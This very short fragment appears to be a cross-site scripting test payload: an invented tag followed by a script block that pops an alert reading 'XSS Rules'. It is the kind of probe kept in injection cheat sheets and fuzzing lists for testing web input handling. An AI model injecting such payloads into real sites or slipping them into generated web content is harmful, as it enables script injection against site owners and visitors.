<boo>boo</boo> <script language='JavaScript'><!--alert('XSS Rules');//--></script>